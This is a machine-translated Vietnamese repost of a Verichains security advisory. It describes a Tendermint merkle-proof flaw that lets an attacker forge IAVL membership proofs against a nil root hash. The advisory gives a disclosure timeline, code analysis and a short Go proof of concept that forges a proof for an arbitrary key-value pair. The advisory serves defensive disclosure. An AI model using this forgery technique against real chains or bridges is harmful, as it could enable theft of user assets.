[VSA-2022-100] Tendermint: Giả mạo bằng chứng tư cách thành viên về lỗ hổng cây Merkle rỗng trong bằng chứng IAVL

Bài viết này được dịch máy
Xem bản gốc

Lời khuyên này nêu bật một lỗ hổng nghiêm trọng do Verichains phát hiện trong thư viện Tendermint có thể cho phép kẻ tấn công đánh cắp tài sản từ các dự án bằng xác minh bằng chứng IAVL của nó, chẳng hạn như BNB Chain, có khả năng gây ra tổn thất tài chính đáng kể.

Chúng tôi đã tiết lộ riêng vấn đề này với người bảo trì Tendermint/Cosmos vào đầu tháng 10 năm 2022. Mặc dù những người bảo trì Tendermint/Cosmos đã thừa nhận các lỗ hổng, nhưng họ đã chọn không phát hành bản vá trong thư viện Tendermint vì việc triển khai IBC và Cosmos-SDK đã được chuyển sang ICS- 23 từ xác minh bằng chứng merkle của IAVL.

Theo ý kiến của chúng tôi, mặc dù nó không ảnh hưởng đến việc triển khai chuỗi Cosmos/IBC mới nhất, nhưng lỗi này nên được sửa trong thư viện Tendermint vì nó đang được sử dụng bởi các dự án khác, chẳng hạn như Chuỗi BNB . Trong trường hợp mã dễ bị tấn công đã lỗi thời, nó sẽ bị xóa khỏi thư viện Tendermint.

Để đảm bảo người dùng thư viện Tendermint nhận thức được sự cố và khắc phục sự cố, chúng tôi đã quyết định đưa ra lời khuyên này cho công chúng sau 120 ngày chờ đợi theo chính sách tiết lộ lỗ hổng của chúng tôi. Chúng tôi kêu gọi tất cả các dự án sử dụng xác minh bằng chứng IAVL của Tendermint thực hiện các biện pháp cần thiết để bảo đảm tài sản của họ và giảm thiểu rủi ro khai thác.

Cảm ơn bạn đã đọc Verichains! Đăng ký miễn phí để nhận bài viết mới và hỗ trợ công việc của tôi.

Bản tóm tắt

Thư viện cốt lõi của Tendermint ( https://github.com/tendermint/tendermint/ ) chứa một mô-đun chuyên dụng có tên `merkle` để xử lý bằng chứng Merkle. Toán tử chứng minh `ValueOp` của nó, sau khi xác minh đầu vào cặp khóa-giá trị, trả về hàm băm gốc nil thay vì gây ra lỗi trong các tình huống không mong muốn (ví dụ: cây có số lượng nút âm).

Do đó, kẻ tấn công có thể giả mạo bằng chứng tư cách thành viên cho các cặp khóa-giá trị tùy ý nếu hàm băm gốc của cây Merkle trống được khai báo là không (rất có khả năng xảy ra vì nil là giá trị mặc định cho một lát byte chưa được khởi tạo trong Golang).

Phân tích

Toán tử bằng chứng `ValueOp` được triển khai tại (merkle/proof_value.go). Khi chạy, trước tiên nó băm cặp khóa-giá trị đầu vào, sau đó so sánh kết quả băm với hàm băm lá trong bằng chứng mà nó hiện đang thực thi (merkle/proof_value.go, dòng 92-94):

 ------------------------------------------------------------------------ 77 func (op ValueOp) Run(args [][]byte) ([][]byte, error) { ... 92 if !bytes.Equal(kvhash, op.Proof.LeafHash) { 93 return nil, fmt.Errorf("leaf hash mismatch: want %X got %X", op.Proof.LeafHash, kvhash) 94 }

Nếu kiểm tra này vượt qua, nó chỉ trả về hàm băm gốc được tính từ bằng chứng (dòng 96-98):

 96 return [][]byte{ 97 op.Proof.ComputeRootHash(), 98 }, nil

Hàm `ComputeRootHash` là trình bao bọc cho `computeHashFromAunts` (merkle/proof.go, dòng 71-78):

 71 func (sp *Proof) ComputeRootHash() []byte { 72 return computeHashFromAunts( 73 sp.Index, 74 sp.Total, 75 sp.LeafHash, 76 sp.Aunts, 77 ) 78 }

Và hàm này trả về một lát cắt nil byte bất cứ khi nào nó gặp lỗi (merkle/proof.go, dòng 152-154, 159-161, 164-166, 170-172, 176-178):

 151 func computeHashFromAunts(index, total int64, leafHash []byte, innerHashes [][]byte) []byte { 152 if index >= total || index < 0 || total <= 0 { 153 return nil 154 } ... 159 if len(innerHashes) != 0 { 160 return nil 161 } ... 164 if len(innerHashes) == 0 { 165 return nil 166 } ... 170 if leftHash == nil { 171 return nil 172 } ... 176 if rightHash == nil { 177 return nil 178 } ... 181 }

Do đó, lỗi bị bỏ qua và `ValueOp.Run` trả về hàm băm gốc bằng không cùng với lỗi bằng không, cho biết rằng bằng chứng là hợp lệ.

Khai thác

Việc khai thác diễn ra đơn giản: chỉ cần đặt hàm băm lá của một bằng chứng thành giá trị băm của cặp khóa-giá trị đã chọn của chúng tôi và để các tham số bằng chứng khác làm mặc định để kích hoạt trả về con số không của `computeHashFromAunts` ở lần kiểm tra đầu tiên (merkle/ proof.go, dòng 152-154).

Đây là một PoC thể hiện cuộc tấn công:

 1 package main 2 3 import ( 4 "bytes" 5 goanimo "github.com/tendermint/go-amino" 6 "github.com/tendermint/tendermint/crypto/merkle" 7 "github.com/tendermint/tendermint/crypto/tmhash" 8 "log" 9 ) 10 11 func main() { 12 // a fake key-value pair and its hash 13 key := []byte{0x13} 14 value := []byte{0x37} 15 vhash := tmhash.Sum(value) 16 bz := new(bytes.Buffer) 17 _ = goanimo.EncodeByteSlice(bz, key) 18 _ = goanimo.EncodeByteSlice(bz, vhash) 19 kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes()...)) 20 21 // the malicious `op` 22 op := merkle.NewValueOp( 23 key, 24 &merkle.Proof{LeafHash: kvhash}, 25 ) 26 27 // the nil root 28 var root []byte 29 30 // should return nil (successfully verified) 31 log.Println(merkle.ProofOperators{op}.Verify(root, "/"+string(key), [][]byte{value})) 32 }

Sản phẩm bị ảnh hưởng

  • Tendermint (Tất cả phiên bản)

  • Bất kỳ dự án nào khác dựa trên Tendermint sử dụng xác minh bằng chứng merkle IAVL đều có thể dễ bị tấn công tương tự

Mốc thời gian

  • Ngày 11 tháng 10 năm 2022: Báo cáo riêng cho nhóm BNB

  • Ngày 12 tháng 10 năm 2022: Báo cáo riêng cho những người bảo trì Tendermint / Cosmos

  • Ngày 28 tháng 2 năm 2023: Phát hành ra công chúng

Nguồn
Tuyên bố từ chối trách nhiệm: Nội dung trên chỉ là ý kiến của tác giả, không đại diện cho bất kỳ lập trường nào của Followin, không nhằm mục đích và sẽ không được hiểu hay hiểu là lời khuyên đầu tư từ Followin.
Thích
Thêm vào Yêu thích
Bình luận